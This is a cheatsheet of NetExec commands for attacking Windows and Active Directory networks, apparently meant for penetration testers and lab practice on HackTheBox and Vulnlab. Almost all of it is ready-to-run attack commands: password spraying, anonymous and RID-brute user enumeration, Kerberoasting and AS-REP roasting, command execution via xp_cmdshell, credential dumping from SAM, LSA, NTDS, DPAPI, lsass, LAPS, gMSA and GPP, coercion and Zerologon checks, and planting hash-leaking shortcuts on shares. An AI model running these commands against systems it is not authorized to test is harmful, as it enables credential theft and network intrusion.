NetExec Cheatsheet

A cheatsheet for NetExec, featuring useful commands and modules for different services

- NetExec: https://github.com/Pennyw0rth/NetExec
- Wiki: https://www.netexec.wiki

Installation

```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```

```
netexec --version
1.3.0 - NeedForSpeed - a5ec90e4
```

Basic Usage

```
netexec <service> <target> -u <username> -p <password>
```

Example for SMB:

```
netexec smb target -u username -p password
```

Authentication

Null Authentication

```
netexec smb target -u '' -p ''
```

Guest Authentication

```
netexec smb target -u 'guest' -p ''
```

Local Authentication

```
netexec smb target -u username -p password --local-auth
```

Kerberos Authentication

```
netexec smb target -u username -p password -k
```

```
netexec ldap target --use-kcache
```

SMB Signing

```
netexec smb target(s) --gen-relay-list relay.txt
```

Enumeration

Basic Enumeration

```
netexec smb target
```

List Shares

```
netexec smb target -u '' -p '' --shares
netexec smb target -u username -p password --shares
```

List Usernames

```
netexec smb target -u '' -p '' --users
netexec smb target -u '' -p '' --rid-brute
netexec smb target -u username -p password --users
```

Spraying

```
netexec smb target -u users.txt -p password --continue-on-success
netexec smb target -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-success
```

```
netexec ssh target -u username -p password --continue-on-success
```

Service-Specific

SMB

All-in-One

```
netexec smb target -u username -p password --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
```

```
netexec smb target -u username -p password -k --get-file target_file output_file --share sharename
```

Spider_plus Module

```
netexec smb target -u username -p password -M spider_plus
netexec smb target -u username -p password -M spider_plus -o READ_ONLY=false
```

LDAP

User Enumeration

```
netexec ldap target -u '' -p '' --users
```

All-in-One

```
netexec ldap target -u username -p password --trusted-for-delegation --password-not-required --admin-count --users --groups
```

Kerberoasting & ASREProast

```
netexec ldap target -u username -p password --kerberoasting hash.txt
netexec ldap target -u username -p password --asreproast hash.txt
```

BloodHound

```
netexec ldap target -u username -p password --bloodhound --dns-server ip --dns-tcp -c all
```

LDAP signing

Checks whether LDAP signing and binding are required and/or enforced

```
netexec ldap target -u username -p password -M ldap-checker
```

ADCS Enumeration

```
netexec ldap target -u username -p password -M adcs
```

MachineAccountQuota

```
netexec ldap target -u username -p password -M maq
```

Pre-Created Computer Accounts

```
netexec ldap target -u username -p password -M pre2k
```

Find Misconfigured Delegation

```
netexec ldap target -u username -p password --find-delegation
```

MSSQL

Authentication

```
netexec mssql target -u username -p password
```

Executing Commands via xp_cmdshell

```
netexec mssql target -u username -p password -x command_to_execute
netexec mssql target -u username -p password --get-file output_file target_file
```

FTP

List Files & Directories

```
netexec ftp target -u username -p password --ls
netexec ftp target -u username -p password --ls folder_name
```

Retrieve a File

```
netexec ftp target -u username -p password --ls folder_name --get file_name
```

Credential Dumping

Secrets Dump

```
netexec smb target -u username -p password --lsa
netexec smb target -u username -p password --sam
```

NTDS

```
netexec smb target -u username -p password --ntds
netexec smb target -u username -p password -M ntdsutil
```

DPAPI

```
netexec smb target -u username -p password --dpapi
```

lsass

```
netexec smb target -u username -p password -M lsassy
```

LAPS

```
netexec smb target -u username -p password --laps
```

gMSA

```
netexec ldap target -u username -p password --gmsa
netexec ldap target -u username -p password --gmsa-convert-id id
netexec ldap domain -u username -p password --gmsa-decrypt-lsa gmsa_account
```

Group Policy Preferences

```
netexec smb target -u username -p password -M gpp_password
```

Retrieve MSOL account password

```
netexec smb target -u username -p password -M msol
```

Chaining Arguments

```
netexec smb target -u username -p password --sam --lsa --dpapi
```

Vulnerabilities

Check if the DC is vulnerable to zerologon, petitpotam, nopac

```
netexec smb target -u username -p password -M zerologon
netexec smb target -u username -p password -M petitpotam
netexec smb target -u username -p password -M nopac
```

Useful Modules

Webdav

Checks whether the WebClient service is running on the target

```
netexec smb target -u username -p password -M webdav
```

Veeam

Extracts credentials from local Veeam SQL Database

```
netexec smb target -u username -p password -M veeam
```

slinky

Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions

```
netexec smb target -u username -p password -M slinky
```

coerce_plus

Check if the Target is vulnerable to any coerce vulns (PetitPotam, DFSCoerce, MSEven, ShadowCoerce and PrinterBug)

```
netexec smb target -u username -p password -M coerce_plus -o LISTENER=tun0_ip
```

enum_av

Gathers information on all endpoint protection solutions installed on the the remote host

```
netexec smb target -u username -p password -M enum_av
```

Resources

- https://www.netexec.wiki/
- https://www.rayanle.cat/lehack-2024-netexec-workshop-writeup/

Practice

- Mist (HackTheBox)
- Rebound (HackTheBox)
- Vintage (HackTheBox)
- Cicada (HackTheBox)
- Baby (Vulnlab)
- Intercept (Vulnlab)
- Reflection (Vulnlab)
- NetExec Lab (https://github.com/Pennyw0rth/NetExec-Lab)